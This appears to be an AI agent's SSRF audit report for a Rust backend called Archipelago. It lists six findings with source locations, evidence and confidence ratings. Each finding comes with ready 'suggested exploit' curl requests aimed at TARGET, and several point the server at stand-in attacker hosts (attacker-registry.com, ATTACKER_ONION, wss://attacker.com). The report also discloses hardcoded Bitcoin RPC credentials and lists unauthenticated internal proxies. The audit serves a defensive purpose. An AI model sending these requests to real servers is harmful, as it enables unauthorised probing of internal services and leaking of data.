The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.

---

# SSRF Vulnerability Analysis — Archipelago

## Summary

I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code.

---

## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation)

**Type**: Direct SSRF via Tor SOCKS5 proxy  
**Location**: `POST /rpc/v1` → method `node-check-peer`  
**Parameter**: `onion`  
**Source file**: `core/archipelago/src/node_message.rs:115-133`  
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80`

**Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function:

1. Takes any string as `onion` (line 115)
2. Appends `.onion` if needed (lines 116-120)
3. Constructs `http://{host}/health` (line 121)
4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127)
5. Returns boolean success/failure to the caller (line 130)

Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean.

Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website.

**Confidence**: HIGH  
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
```
Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address.

---

## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable)

**Type**: Direct SSRF via Tor SOCKS5 proxy  
**Location**: `POST /rpc/v1` → method `node-send-message`  
**Parameter**: `onion`  
**Source file**: `core/archipelago/src/node_message.rs:66-112`  
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67`

**Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but:

1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
2. The request includes the node's own public key in the body (`from_pubkey`)
3. The response error messages are returned to the caller, leaking connection details
4. No rate limiting — can probe many .onion addresses rapidly

The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.

**Confidence**: HIGH  
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
```

---

## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access

**Type**: Internal service proxy / partial SSRF  
**Location**: `GET /proxy/lnd/{path}` on port 5678  
**Parameter**: URL path after `/proxy/lnd`  
**Source file**: `core/archipelago/src/api/handler.rs:158-188`

**Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080.

Key concerns:
- **No authentication** on the proxy endpoint
- **Full path control** — any LND REST API endpoint is accessible
- **Response body returned** — not blind, the attacker gets full response content
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
- Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`)

**Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)  
**Suggested exploit**:
```bash
# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
```

---

## SSRF-004: Container Image Pull — Arbitrary Registry Fetch

**Type**: Indirect SSRF via container registry pull  
**Location**: `POST /rpc/v1` → method `package.install`  
**Parameter**: `dockerImage`  
**Source file**: `core/archipelago/src/api/rpc/package.rs:9-84`

**Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is:

```rust
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
```

This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers.

**Confidence**: HIGH  
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
```
The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF.

---

## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code)

**Type**: Full arbitrary URL fetch (NOT in active backend)  
**Location**: `core/startos/src/registry/marketplace.rs:38-92`  
**Parameter**: `url` (type `Url` — accepts any scheme/host)

**Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64.

**However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`.

**Confidence**: LOW (dormant code, not reachable on running server)  
**Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.

---

## SSRF-006: Nostr Relay Connections — Config-Driven SSRF

**Type**: WebSocket SSRF via configuration  
**Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish`  
**Source file**: `core/archipelago/src/nostr_discovery.rs:157-345`

**Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor.

Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.

**Confidence**: LOW (requires configuration access)

---

## Additional Observations

| Factor | Detail |
|--------|--------|
| **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website |
| **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
| **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
| **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) |
| **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) |

---

```json
{
  "category": "ssrf",
  "findings": [
    {
      "id": "SSRF-001",
      "type": "blind_ssrf_via_tor_proxy",
      "endpoint": "/rpc/v1",
      "parameter": "params.onion (method: node-check-peer)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
    },
    {
      "id": "SSRF-002",
      "type": "ssrf_via_tor_proxy_with_data_exfil",
      "endpoint": "/rpc/v1",
      "parameter": "params.onion (method: node-send-message)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
    },
    {
      "id": "SSRF-003",
      "type": "internal_service_proxy",
      "endpoint": "/proxy/lnd/{path}",
      "parameter": "URL path suffix",
      "confidence": "medium",
      "payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
    },
    {
      "id": "SSRF-004",
      "type": "ssrf_via_container_registry_pull",
      "endpoint": "/rpc/v1",
      "parameter": "params.dockerImage (method: package.install)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
    },
    {
      "id": "SSRF-005",
      "type": "full_arbitrary_url_fetch",
      "endpoint": "marketplace.get (INACTIVE - startos codebase)",
      "parameter": "url",
      "confidence": "low",
      "payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
    },
    {
      "id": "SSRF-006",
      "type": "config_driven_websocket_ssrf",
      "endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
      "parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
      "confidence": "low",
      "payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
    }
  ]
}
```